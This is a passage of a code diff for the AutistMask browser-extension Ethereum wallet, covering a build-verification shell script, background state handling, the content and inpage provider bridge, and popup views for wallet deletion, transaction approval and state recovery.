successful build; run make build rather than invoking this directly."
|
||||
[ -f "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
|
||||
[ -s "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
|
||||
no account of what it emitted. build.js writes the receipt last, so an
|
||||
empty one means the build did not finish."
|
||||
[ -r "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
|
||||
[ -f "$MANIFEST" ] ||
|
||||
fail "$MANIFEST is missing. build.js writes it at the end of a
|
||||
successful build; run make build first."
|
||||
[ -s "$MANIFEST" ] ||
|
||||
fail "$MANIFEST is empty, so no emitted bundle was found to contain
|
||||
src/shared/constants.js. That is never correct, so it is a failure and not
|
||||
a pass."
|
||||
[ -r "$MANIFEST" ] ||
|
||||
fail "$MANIFEST is not readable, so nothing was inspected. That is a
|
||||
permissions or I/O fault, not a pass."
|
||||
|
||||
echo "Verifying emitted files against the build receipt (expecting" \
|
||||
"$EXPECT)..."
|
||||
count=0
|
||||
while read -r file; do
|
||||
[ -n "$file" ] || continue
|
||||
[ -f "$file" ] ||
|
||||
fail "$MANIFEST lists $file, which does not exist."
|
||||
[ -s "$file" ] ||
|
||||
fail "$MANIFEST lists $file, which is empty. An empty bundle
|
||||
carries no marker and proves nothing, so this is a failure and not a pass."
|
||||
read_marker "$file"
|
||||
[ "$MARKER" = "$expected" ] ||
|
||||
fail "$file is $MARKER but this build expects $expected."
|
||||
echo " ok: $file ($MARKER)"
|
||||
count=$((count + 1))
|
||||
done <"$MANIFEST"
|
||||
|
||||
# Order matters. The receipt has to be well-formed before it is used as an
|
||||
# expectation, and the tree has to be walkable in full before any single
|
||||
# file in it is pronounced on: a subtree that cannot be descended makes
|
||||
# every file under it look absent, and "could not look" must never be
|
||||
# reported as "was not there".
|
||||
check_receipt_shape
|
||||
check_dist_tree
|
||||
check_receipt_entries
|
||||
[ "$count" -gt 0 ] || fail "no bundles were inspected."
|
||||
|
||||
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
|
||||
"$AUDITED bundle(s) $EXPECT"
|
||||
check_unlisted_bundles
|
||||
|
||||
echo "verify-build: $count bundle(s) verified $expected"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,96 +0,0 @@
|
||||
// The background's access to the persisted profile.
|
||||
//
|
||||
// There is no in-memory copy here, and that is the whole design. The MV3
|
||||
// service worker is terminated when idle and revived by the next message, so
|
||||
// anything held at module scope is either absent or arbitrarily stale, and
|
||||
// src/shared/state.js's module-level `state` singleton — which nothing in the
|
||||
// worker ever populates — silently served DEFAULT_STATE to whoever read it.
|
||||
// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||
// and every point fix for one of them added a loadState() that created the
|
||||
// next: loading detaches the objects an in-flight handler is holding.
|
||||
//
|
||||
// So the background reads per call and writes read-modify-write:
|
||||
//
|
||||
// getState() one storage read, normalized, detached. Nothing else
|
||||
// holds the object it returns, so a handler may keep it
|
||||
// across any number of awaits and no concurrent work can
|
||||
// move it.
|
||||
// updateState(fn) read fresh, apply fn to that fresh record, write it
|
||||
// back — all inside a queue, so two background writes
|
||||
// never interleave, and the read is one storage round trip
|
||||
// ahead of the write rather than a page lifetime ahead of
|
||||
// it (which is what made the popup's saveState() need a
|
||||
// per-field merge against a baseline at all).
|
||||
//
|
||||
// A handler that must both read and write therefore does its network work
|
||||
// against a snapshot it owns, and applies the RESULT inside updateState().
|
||||
// It never publishes an object other in-flight work is holding.
|
||||
|
||||
const { storageGet, storageSet } = require("../shared/browserApi");
|
||||
const { normalizePersisted } = require("../shared/persistedState");
|
||||
const {
|
||||
STATE_SCHEMA_VERSION,
|
||||
assertStateUsable,
|
||||
} = require("../shared/stateSchema");
|
||||
|
||||
// A fresh, fully-normalized, detached copy of the persisted profile.
|
||||
//
|
||||
// Normalized rather than raw: a legacy or malformed record is self-healed the
|
||||
// same way loadState() heals it for the popup, so the background is never the
|
||||
// one context reasoning about a shape the rest of the extension repairs.
|
||||
//
|
||||
// Throws StateUnusableError for a record this build cannot make sense of,
|
||||
// before normalization gets a chance to paper over it — the same gate, in the
|
||||
// same place, as the popup's loadState(). Every handler that consults the
|
||||
// profile comes through here, so a dApp call against such a record is answered
|
||||
// with the specific error the dispatcher maps that to (src/background/index.js)
|
||||
// rather than dereferencing its way into a generic -32603.
|
||||
async function getState() {
|
||||
const result = await storageGet("autistmask");
|
||||
assertStateUsable(result.autistmask);
|
||||
return normalizePersisted(result.autistmask);
|
||||
}
|
||||
|
||||
// Serializes the read-modify-write turns below. Two of them interleaved would
|
||||
// each read before the other wrote, and the second write would carry the first
|
||||
// one's fields back to their pre-turn values.
|
||||
let updateQueue = Promise.resolve();
|
||||
|
||||
async function updateStateOnce(mutate) {
|
||||
const s = await getState();
|
||||
await mutate(s);
|
||||
s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
|
||||
// Stamped on every write, exactly as the popup's saveState() stamps it:
|
||||
// whichever context writes last, the record in storage is in this build's
|
||||
// shape and says so.
|
||||
s.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
await storageSet({ autistmask: s });
|
||||
return s;
|
||||
}
|
||||
|
||||
// Apply `mutate` to a record read fresh from storage and write the result
|
||||
// back. `mutate` receives a detached, normalized profile and mutates it in
|
||||
// place; it may be async, but it must not do anything slow — the window
|
||||
// between the read and the write is the window in which another context's
|
||||
// write is lost, and keeping it to one storage round trip is what makes a
|
||||
// whole-record write safe here. Concretely: the write is the WHOLE record, so
|
||||
// a popup write that lands inside that window is reverted, in every field, by
|
||||
// the record this turn read before it. That is accepted because the window is
|
||||
// one round trip long and the popup is not writing while the worker is;
|
||||
// widening it is what would make it a real hazard.
|
||||
//
|
||||
// `mutate` must also not call updateState() itself, directly or through
|
||||
// anything it awaits: the queue is strictly serial, so the inner turn waits on
|
||||
// the outer one, which is waiting on the inner one. That deadlocks the whole
|
||||
// background, not just the caller. Mutate the record you were handed.
|
||||
//
|
||||
// Resolves with the record that was written.
|
||||
function updateState(mutate) {
|
||||
const turn = updateQueue.then(() => updateStateOnce(mutate));
|
||||
// The queue must advance even when a turn rejects, or every update after
|
||||
// it queues behind a promise that never settles.
|
||||
updateQueue = turn.catch(() => {});
|
||||
return turn;
|
||||
}
|
||||
|
||||
module.exports = { getState, updateState };
|
||||
@@ -1,20 +1,12 @@
|
||||
// AutistMask content script — bridges between inpage (window.ethereum)
|
||||
// and the background service worker via extension messaging.
|
||||
|
||||
const {
|
||||
hasBrowserNamespace,
|
||||
runtimeApi,
|
||||
sendMessage,
|
||||
storageGet,
|
||||
storageSet,
|
||||
} = require("../shared/browserApi");
|
||||
|
||||
// In Chrome (MV3), inpage.js runs as a MAIN-world content script declared
|
||||
// in the manifest, so no injection is needed here. In Firefox (MV2), the
|
||||
// "world" key is not supported, so we inject via a <script> tag.
|
||||
if (hasBrowserNamespace()) {
|
||||
if (typeof browser !== "undefined") {
|
||||
const script = document.createElement("script");
|
||||
script.src = runtimeApi().getURL("src/content/inpage.js");
|
||||
script.src = browser.runtime.getURL("src/content/inpage.js");
|
||||
script.onload = function () {
|
||||
this.remove();
|
||||
};
|
||||
@@ -22,27 +14,23 @@ if (hasBrowserNamespace()) {
|
||||
}
|
||||
|
||||
// Send the persisted EIP-6963 provider UUID to the inpage script.
|
||||
// Generated once at install time and stored in extension storage.
|
||||
(async function sendProviderUuid() {
|
||||
let uuid = null;
|
||||
try {
|
||||
const items = await storageGet("eip6963Uuid");
|
||||
uuid = items?.eip6963Uuid;
|
||||
// Generated once at install time and stored in chrome.storage.local.
|
||||
(function sendProviderUuid() {
|
||||
const storage =
|
||||
typeof browser !== "undefined"
|
||||
? browser.storage.local
|
||||
: chrome.storage.local;
|
||||
storage.get("eip6963Uuid", (items) => {
|
||||
let uuid = items?.eip6963Uuid;
|
||||
if (!uuid) {
|
||||
uuid = crypto.randomUUID();
|
||||
await storageSet({ eip6963Uuid: uuid });
|
||||
storage.set({ eip6963Uuid: uuid });
|
||||
}
|
||||
} catch {
|
||||
// Storage was unavailable or refused the write. The announcement
|
||||
// still has to go out — a provider that never announces is invisible
|
||||
// to every EIP-6963 dApp — so it goes under a fresh uuid that this
|
||||
// page load will not outlive.
|
||||
if (!uuid) uuid = crypto.randomUUID();
|
||||
}
|
||||
window.postMessage(
|
||||
{ type: "AUTISTMASK_PROVIDER_UUID", uuid },
|
||||
location.origin,
|
||||
);
|
||||
window.postMessage(
|
||||
{ type: "AUTISTMASK_PROVIDER_UUID", uuid },
|
||||
location.origin,
|
||||
);
|
||||
});
|
||||
})();
|
||||
|
||||
// Relay requests from the page to the background script
|
||||
@@ -51,31 +39,27 @@ window.addEventListener("message", (event) => {
|
||||
if (event.data?.type !== "AUTISTMASK_REQUEST") return;
|
||||
const { id, method, params } = event.data;
|
||||
|
||||
sendMessage({
|
||||
type: "AUTISTMASK_RPC",
|
||||
id,
|
||||
method,
|
||||
params,
|
||||
origin: location.origin,
|
||||
})
|
||||
.then((response) => {
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
runtime.sendMessage(
|
||||
{ type: "AUTISTMASK_RPC", id, method, params, origin: location.origin },
|
||||
(response) => {
|
||||
if (response) {
|
||||
window.postMessage(
|
||||
{ type: "AUTISTMASK_RESPONSE", id, ...response },
|
||||
"*",
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
// No receiver: the background context is gone. The page's promise
|
||||
// stays pending, which is what it did before this was a promise
|
||||
// at all; turning it into a rejection here is a change to what
|
||||
// dApps see and belongs to its own issue.
|
||||
});
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
// Listen for events pushed from the background (e.g. accountsChanged)
|
||||
runtimeApi().onMessage.addListener((msg) => {
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
runtime.onMessage.addListener((msg) => {
|
||||
if (msg.type === "AUTISTMASK_EVENT") {
|
||||
window.postMessage(
|
||||
{
|
||||
|
||||
@@ -11,39 +11,6 @@
|
||||
let nextId = 1;
|
||||
const pending = {};
|
||||
|
||||
// EIP-1193 ProviderRpcError: `code`, `message`, optional `data`. A class
|
||||
// rather than properties bolted onto an Error because this object crosses
|
||||
// no boundary after construction — it is built in the page's own realm and
|
||||
// handed straight to the caller's catch — so the prototype survives and
|
||||
// `error.name` is a stable thing for a dApp to see.
|
||||
class ProviderRpcError extends Error {
|
||||
constructor(code, message, data) {
|
||||
super(message);
|
||||
this.name = "ProviderRpcError";
|
||||
this.code = code;
|
||||
if (data !== undefined) this.data = data;
|
||||
}
|
||||
}
|
||||
|
||||
// Rebuild a boundary error as the error the page catches, carrying the
|
||||
// code (and data) the extension reported. Without this a dApp cannot tell
|
||||
// a user's refusal (4001) from a wallet that broke, and retries or shows
|
||||
// an error instead of accepting the refusal.
|
||||
//
|
||||
// Whatever code arrived is passed through verbatim rather than being
|
||||
// matched against a list: the extension emits 4001, 4100 and 4902 today,
|
||||
// and a code this file has never heard of is still the truth about what
|
||||
// happened. An error reported with no code at all stays a plain Error —
|
||||
// a ProviderRpcError whose `code` is undefined would advertise a
|
||||
// conformance it does not have. `message` is untouched in every case.
|
||||
function toPageError(error) {
|
||||
const message = (error && error.message) || "Request failed";
|
||||
if (error && error.code !== undefined && error.code !== null) {
|
||||
return new ProviderRpcError(error.code, message, error.data);
|
||||
}
|
||||
return new Error(message);
|
||||
}
|
||||
|
||||
// Listen for responses from the content script
|
||||
window.addEventListener("message", function onUuid(event) {
|
||||
if (event.source !== window) return;
|
||||
@@ -53,7 +20,7 @@
|
||||
if (!p) return;
|
||||
delete pending[id];
|
||||
if (error) {
|
||||
p.reject(toPageError(error));
|
||||
p.reject(new Error(error.message || "Request failed"));
|
||||
} else {
|
||||
p.resolve(result);
|
||||
}
|
||||
@@ -79,7 +46,7 @@
|
||||
for (const cb of cbs) {
|
||||
try {
|
||||
cb(data);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
// ignore listener errors
|
||||
}
|
||||
}
|
||||
@@ -179,8 +146,7 @@
|
||||
return this;
|
||||
},
|
||||
|
||||
// Some dApps (wagmi) probe this object to decide whether the provider
|
||||
// supports the de-facto standard extras. The name is theirs, not ours.
|
||||
// Some dApps (wagmi) check this to confirm MetaMask-like behavior
|
||||
_metamask: {
|
||||
isUnlocked() {
|
||||
return Promise.resolve(provider.selectedAddress !== null);
|
||||
|
||||
@@ -153,28 +153,12 @@
|
||||
<!-- Shared password fields -->
|
||||
<div class="mb-2" id="add-wallet-password-section">
|
||||
<label class="block mb-1">Choose a password</label>
|
||||
<!-- The hint is swapped in place when the import tab
|
||||
changes, and it sits directly above the password
|
||||
fields, so a wording that wraps to a different
|
||||
number of lines would move them under the pointer.
|
||||
Two things stop that: the three wordings in
|
||||
PASSWORD_HINTS are kept within a couple of
|
||||
characters of each other in length, and this floor
|
||||
matches what each of them needs. All three measure
|
||||
48px -- 3 lines at the 16px line height, at the
|
||||
368px width this box has in the 396px popup body.
|
||||
Do not raise it: the reserve is unused height on
|
||||
every tab, and at 6rem it pushed
|
||||
#btn-add-wallet-confirm to bottom=628px in a 600px
|
||||
viewport, below the fold. -->
|
||||
<p
|
||||
class="text-xs text-muted mb-1 min-h-[3rem]"
|
||||
class="text-xs text-muted mb-1"
|
||||
id="add-wallet-password-hint"
|
||||
>
|
||||
This password encrypts your recovery phrase on this
|
||||
device. You will need it to send funds. It cannot be
|
||||
recovered or reset, so keep your recovery phrase written
|
||||
down: it is the only backup of this wallet.
|
||||
device. You will need it to send funds.
|
||||
</p>
|
||||
<input
|
||||
type="password"
|
||||
@@ -1156,71 +1140,6 @@
|
||||
>
|
||||
Confirm Delete
|
||||
</button>
|
||||
<p class="text-xs mt-3">
|
||||
<span
|
||||
id="btn-delete-wallet-lost-password"
|
||||
class="underline decoration-dashed cursor-pointer"
|
||||
>I have lost my password</span
|
||||
>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
|
||||
<div id="view-delete-wallet-lost-password" class="view hidden">
|
||||
<button
|
||||
id="btn-delete-wallet-lost-back"
|
||||
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
|
||||
>
|
||||
< Back
|
||||
</button>
|
||||
<h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
|
||||
<p class="text-xs mb-2">
|
||||
Your password cannot be recovered or reset, so there is no
|
||||
way to unlock
|
||||
<strong id="delete-wallet-lost-name"></strong> again. You
|
||||
can still delete it, and no password is needed to do that.
|
||||
</p>
|
||||
<p class="text-xs mb-2">
|
||||
Deleting it erases the copy of its key that is stored on
|
||||
this device. Nothing on the blockchain changes, and the
|
||||
money at its addresses is not moved or destroyed.
|
||||
</p>
|
||||
<p class="text-xs mb-2">
|
||||
If you have the recovery phrase for this wallet written
|
||||
down, add the wallet again afterwards with a new password
|
||||
and you will have it back.
|
||||
<strong
|
||||
>If you do not have it written down, deleting this
|
||||
wallet means losing everything it holds,
|
||||
forever.</strong
|
||||
>
|
||||
</p>
|
||||
<p class="text-xs mb-3">Your other wallets are not touched.</p>
|
||||
<p class="text-xs mb-1">
|
||||
To confirm, type the name of the wallet (<strong
|
||||
id="delete-wallet-lost-name-echo"
|
||||
></strong
|
||||
>) below.
|
||||
</p>
|
||||
<div class="mb-2">
|
||||
<input
|
||||
type="text"
|
||||
id="delete-wallet-lost-name-input"
|
||||
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
|
||||
placeholder="Type the wallet name"
|
||||
/>
|
||||
</div>
|
||||
<div
|
||||
id="delete-wallet-lost-flash"
|
||||
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
|
||||
style="visibility: hidden"
|
||||
></div>
|
||||
<button
|
||||
id="btn-delete-wallet-lost-confirm"
|
||||
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||
>
|
||||
Delete This Wallet Forever
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- ============ DELETE ADDRESS CONFIRM ============ -->
|
||||
@@ -1577,33 +1496,6 @@
|
||||
<div class="text-xs text-muted mb-1">Value</div>
|
||||
<div id="approve-tx-value" class="text-xs font-bold"></div>
|
||||
</div>
|
||||
<div class="mb-3">
|
||||
<div class="text-xs text-muted mb-1">Network fee (max)</div>
|
||||
<div
|
||||
id="approve-tx-fee"
|
||||
class="text-xs font-bold min-h-[1rem]"
|
||||
></div>
|
||||
<div
|
||||
id="approve-tx-fee-detail"
|
||||
class="text-xs text-muted min-h-[1rem]"
|
||||
></div>
|
||||
</div>
|
||||
<div class="mb-3 flex justify-between">
|
||||
<div>
|
||||
<div class="text-xs text-muted mb-1">Network</div>
|
||||
<div
|
||||
id="approve-tx-network"
|
||||
class="text-xs min-h-[1rem]"
|
||||
></div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-xs text-muted mb-1">Nonce</div>
|
||||
<div
|
||||
id="approve-tx-nonce"
|
||||
class="text-xs min-h-[1rem]"
|
||||
></div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="approve-tx-data-section" class="mb-3 hidden">
|
||||
<div class="text-xs text-muted mb-1">Raw data</div>
|
||||
<div id="approve-tx-data" class="text-xs break-all"></div>
|
||||
@@ -1761,75 +1653,6 @@
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ============ STATE RECOVERY ============ -->
|
||||
<!--
|
||||
Shown when the stored profile cannot be read at all. Every
|
||||
other screen renders from that profile, so this one is reached
|
||||
without one and is the only way out of a wallet that would
|
||||
otherwise be a blank popup.
|
||||
-->
|
||||
<div id="view-state-recovery" class="view hidden">
|
||||
<h2 class="font-bold mb-2">Saved Data Cannot Be Read</h2>
|
||||
<p class="text-xs mb-2">
|
||||
AutistMask stopped rather than guessing. Nothing has been
|
||||
changed or erased, and nothing can be signed or sent until
|
||||
this is resolved.
|
||||
</p>
|
||||
<div
|
||||
id="state-recovery-problem"
|
||||
class="text-xs font-bold mb-3 break-words"
|
||||
></div>
|
||||
<p class="text-xs mb-2">
|
||||
Export the saved data first and keep it. It may hold the
|
||||
encrypted keys for your wallets, and it is the only copy.
|
||||
</p>
|
||||
<button
|
||||
id="btn-state-recovery-export"
|
||||
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||
>
|
||||
Export Saved Data
|
||||
</button>
|
||||
<textarea
|
||||
id="state-recovery-blob"
|
||||
readonly
|
||||
class="hidden border border-border p-1 w-full h-32 font-mono text-xs bg-bg text-fg mt-2"
|
||||
></textarea>
|
||||
<p class="text-xs mt-3 mb-2">
|
||||
<strong
|
||||
>Erasing the saved data deletes every wallet stored in
|
||||
this browser.</strong
|
||||
>
|
||||
Nothing on the blockchain changes and no money is moved, but
|
||||
without the exported copy above, or the recovery phrase for
|
||||
each wallet written down, everything they hold is gone
|
||||
forever.
|
||||
</p>
|
||||
<p class="text-xs mb-1">
|
||||
To confirm, type
|
||||
<strong>ERASE MY WALLET</strong>
|
||||
below.
|
||||
</p>
|
||||
<div class="mb-2">
|
||||
<input
|
||||
type="text"
|
||||
id="state-recovery-reset-input"
|
||||
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
|
||||
placeholder="Type ERASE MY WALLET"
|
||||
/>
|
||||
</div>
|
||||
<div
|
||||
id="state-recovery-flash"
|
||||
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
|
||||
style="visibility: hidden"
|
||||
></div>
|
||||
<button
|
||||
id="btn-state-recovery-reset"
|
||||
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||
>
|
||||
Erase Saved Data
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="index.js"></script>
|
||||
|
||||
@@ -1,31 +1,24 @@
|
||||
// AutistMask popup entry point.
|
||||
// Loads state, initializes views, triggers first render.
|
||||
|
||||
const {
|
||||
state,
|
||||
saveState,
|
||||
onSaveFailure,
|
||||
loadState,
|
||||
} = require("../shared/state");
|
||||
const { StateUnusableError } = require("../shared/stateSchema");
|
||||
const { log, setRuntimeDebug } = require("../shared/log");
|
||||
const { state, saveState, loadState } = require("../shared/state");
|
||||
const { setRuntimeDebug } = require("../shared/log");
|
||||
const { refreshPrices } = require("../shared/prices");
|
||||
const { refreshBalances } = require("../shared/balances");
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
updateDebugBanner,
|
||||
setBackRenderer,
|
||||
showSaveFailureBanner,
|
||||
setRenderMain,
|
||||
pushCurrentView,
|
||||
goBack,
|
||||
clearViewStack,
|
||||
} = require("./views/helpers");
|
||||
const { applyTheme } = require("./theme");
|
||||
// Renders a view the popup lands on without having navigated to it forward:
|
||||
// on restore here, and on Back. Only the views that can be fully re-rendered
|
||||
// from persisted state (RESTORABLE_VIEWS, src/shared/restorableViews.js) go
|
||||
// through it; anything else falls back to the nearest restorable parent.
|
||||
const { renderView, makeBackRenderer } = require("./viewRouter");
|
||||
// Views that can be fully re-rendered from persisted state. All others fall
|
||||
// back to the nearest restorable parent; see the module for why the
|
||||
// secret-bearing views are absent.
|
||||
const { RESTORABLE_VIEWS } = require("./restorableViews");
|
||||
|
||||
const home = require("./views/home");
|
||||
const welcome = require("./views/welcome");
|
||||
@@ -42,7 +35,6 @@ const settings = require("./views/settings");
|
||||
const settingsAddToken = require("./views/settingsAddToken");
|
||||
const deleteAddress = require("./views/deleteAddress");
|
||||
const approval = require("./views/approval");
|
||||
const stateRecovery = require("./views/stateRecovery");
|
||||
|
||||
function renderWalletList() {
|
||||
home.render(ctx);
|
||||
@@ -61,20 +53,11 @@ async function doRefreshAndRender() {
|
||||
state.rpcUrl,
|
||||
state.blockscoutUrl,
|
||||
state.trackedTokens,
|
||||
state.networkId,
|
||||
),
|
||||
]);
|
||||
state.lastBalanceRefresh = Date.now();
|
||||
await saveState();
|
||||
renderWalletList();
|
||||
} catch (e) {
|
||||
// Every call site fires this and walks away — the boot below, the ten
|
||||
// second interval, and eight views through ctx — so it must never
|
||||
// reject: an unhandled rejection is not a report of anything. The save
|
||||
// inside it reports its own failure through onSaveFailure() (see
|
||||
// src/shared/state.js); what is left here is a failed network round
|
||||
// trip, which the next tick retries.
|
||||
log.errorf("popup: background refresh failed:", e);
|
||||
} finally {
|
||||
refreshInFlight = false;
|
||||
}
|
||||
@@ -125,22 +108,91 @@ const ctx = {
|
||||
},
|
||||
};
|
||||
|
||||
// The view modules the router renders through, keyed as it expects them.
|
||||
const viewModules = {
|
||||
main: { show: () => fallbackView() },
|
||||
addressDetail,
|
||||
addressToken,
|
||||
receive,
|
||||
settings,
|
||||
settingsAddToken,
|
||||
confirmTx,
|
||||
transactionDetail,
|
||||
txStatus,
|
||||
};
|
||||
function needsAddress(view) {
|
||||
return (
|
||||
view === "address" ||
|
||||
view === "address-token" ||
|
||||
view === "receive" ||
|
||||
view === "transaction"
|
||||
);
|
||||
}
|
||||
|
||||
function hasValidAddress() {
|
||||
return (
|
||||
state.selectedWallet !== null &&
|
||||
state.selectedAddress !== null &&
|
||||
state.wallets[state.selectedWallet] &&
|
||||
state.wallets[state.selectedWallet].addresses[state.selectedAddress]
|
||||
);
|
||||
}
|
||||
|
||||
function restoreView() {
|
||||
if (!renderView(state.currentView, state, viewModules)) {
|
||||
fallbackView();
|
||||
const view = state.currentView;
|
||||
if (!view || !RESTORABLE_VIEWS.has(view)) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
if (needsAddress(view) && !hasValidAddress()) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
if (view === "address-token" && !state.selectedToken) {
|
||||
return fallbackView();
|
||||
}
|
||||
|
||||
switch (view) {
|
||||
case "address":
|
||||
addressDetail.show();
|
||||
break;
|
||||
case "address-token":
|
||||
addressToken.show();
|
||||
break;
|
||||
case "receive":
|
||||
receive.show();
|
||||
break;
|
||||
case "settings":
|
||||
settings.show();
|
||||
break;
|
||||
case "settings-addtoken":
|
||||
settingsAddToken.show();
|
||||
break;
|
||||
case "confirm-tx":
|
||||
if (state.viewData && state.viewData.pendingTx) {
|
||||
confirmTx.restore();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "transaction":
|
||||
if (state.viewData && state.viewData.tx) {
|
||||
transactionDetail.render();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "wait-tx":
|
||||
// Resumes the receipt poll from the persisted broadcast time.
|
||||
if (!txStatus.restoreWait()) {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "success-tx":
|
||||
if (state.viewData && state.viewData.hash) {
|
||||
txStatus.renderSuccess();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
case "error-tx":
|
||||
if (state.viewData && state.viewData.message) {
|
||||
txStatus.renderError();
|
||||
} else {
|
||||
fallbackView();
|
||||
}
|
||||
break;
|
||||
default:
|
||||
fallbackView();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -150,28 +202,7 @@ function fallbackView() {
|
||||
}
|
||||
|
||||
async function init() {
|
||||
// First, before anything can save: showView() saves on every navigation
|
||||
// without awaiting, so a save that fails from here on has somewhere to be
|
||||
// reported rather than being swallowed by the save queue
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/362). Registered ahead of
|
||||
// the approval-window branch below too, since that window saves as well.
|
||||
onSaveFailure(showSaveFailureBanner);
|
||||
try {
|
||||
await loadState();
|
||||
} catch (e) {
|
||||
// A profile this build cannot read is the one failure that must not
|
||||
// fall through to the rest of init(). It used to: the load "succeeded"
|
||||
// on a record nothing had validated, and the first dereference below
|
||||
// threw, leaving a popup with no view, no message and no control on
|
||||
// it, and no way out of the wallet from inside the product
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/311). Now the load
|
||||
// refuses, and this is the screen that says so.
|
||||
if (e instanceof StateUnusableError) {
|
||||
stateRecovery.show(e);
|
||||
return;
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
await loadState();
|
||||
applyTheme(state.theme);
|
||||
|
||||
// Sync runtime debug flag from persisted state before first render
|
||||
@@ -198,12 +229,6 @@ async function init() {
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const approvalId = params.get("approval");
|
||||
if (approvalId) {
|
||||
// Deliberately not awaited, and deliberately not .catch()ed. show()
|
||||
// is async, so a throw past its first await surfaces as an unhandled
|
||||
// rejection rather than an uncaught error — measured as still failing
|
||||
// the run on both harnesses (Playwright `pageerror`, and the Firefox
|
||||
// driver's console-service drain), so nothing is lost by leaving it
|
||||
// on that path.
|
||||
approval.show(approvalId);
|
||||
showView("approve-site");
|
||||
return;
|
||||
@@ -222,7 +247,7 @@ async function init() {
|
||||
settings.show();
|
||||
});
|
||||
|
||||
setBackRenderer(makeBackRenderer(state, viewModules));
|
||||
setRenderMain(renderWalletList);
|
||||
|
||||
welcome.init(ctx);
|
||||
addWallet.init(ctx);
|
||||
|
||||
@@ -10,20 +10,9 @@
|
||||
// prompt in front of it, on a popup the user may have reopened by accident.
|
||||
// That is why "export-privkey" and "show-phrase" are absent.
|
||||
//
|
||||
// Nor may a view whose button destroys a wallet be listed, for the mirror
|
||||
// reason: a popup reopened by accident must not land on the screen that
|
||||
// erases key material. That is why "delete-wallet-confirm" and
|
||||
// "delete-wallet-lost-password" are absent.
|
||||
//
|
||||
// Kept in its own module, with no dependencies, so tests can assert the
|
||||
// exclusion directly rather than trusting a reading of the popup entry
|
||||
// point.
|
||||
//
|
||||
// It sits under src/shared/ rather than src/popup/ because
|
||||
// src/shared/persistedState.js needs it and that module is in the BACKGROUND
|
||||
// bundle: a popup-path module reached from the worker is the shape
|
||||
// script/lib/forbiddenBundleInputs.js exists to keep out, whether or not the
|
||||
// particular module is harmless.
|
||||
// point, which cannot be required outside a browser.
|
||||
const RESTORABLE_VIEWS = new Set([
|
||||
"main",
|
||||
"address",
|
||||
@@ -1,242 +0,0 @@
|
||||
// Rendering a view the popup lands on without having navigated to it
|
||||
// forward: on restore, and on Back. In both cases the view may never have
|
||||
// been rendered in this page load — a reopened popup renders only the
|
||||
// wallet list and the view it restores onto, so every other view is still
|
||||
// the blank static template from index.html — so unhiding it is not enough.
|
||||
//
|
||||
// Forward navigation renders as it goes and must NOT come through here:
|
||||
// rendering a second time would re-fetch and clobber whatever the view has
|
||||
// in flight.
|
||||
//
|
||||
// The view modules are injected and nothing here touches the DOM, so the
|
||||
// dispatch and its data guards can be tested directly; src/popup/index.js
|
||||
// cannot be required outside a browser.
|
||||
|
||||
const { RESTORABLE_VIEWS } = require("../shared/restorableViews");
|
||||
|
||||
// The views this page load has rendered.
|
||||
//
|
||||
// The Back path cannot otherwise tell its two cases apart. A view the popup
|
||||
// never rendered is still the blank template from index.html and has to be
|
||||
// rendered; a view already on the page must NOT be rendered again, because
|
||||
// a second render re-fetches and overwrites whatever the user has typed
|
||||
// into it and not yet saved.
|
||||
//
|
||||
// Registration is showView() in views/helpers.js, which is the last thing
|
||||
// every render path runs — restoreView()'s, the Back path's, and every
|
||||
// forward show(). That is the point of putting it there rather than in the
|
||||
// individual views: a view added later registers itself with no one having
|
||||
// to remember it, so this cannot decay.
|
||||
//
|
||||
// Module scope is page-load scope: the popup loads this module once per
|
||||
// page load, and a reopened popup gets a fresh, empty set — which is
|
||||
// exactly the state that makes the Back path render.
|
||||
const renderedViews = new Set();
|
||||
|
||||
function markViewRendered(view) {
|
||||
if (view) renderedViews.add(view);
|
||||
}
|
||||
|
||||
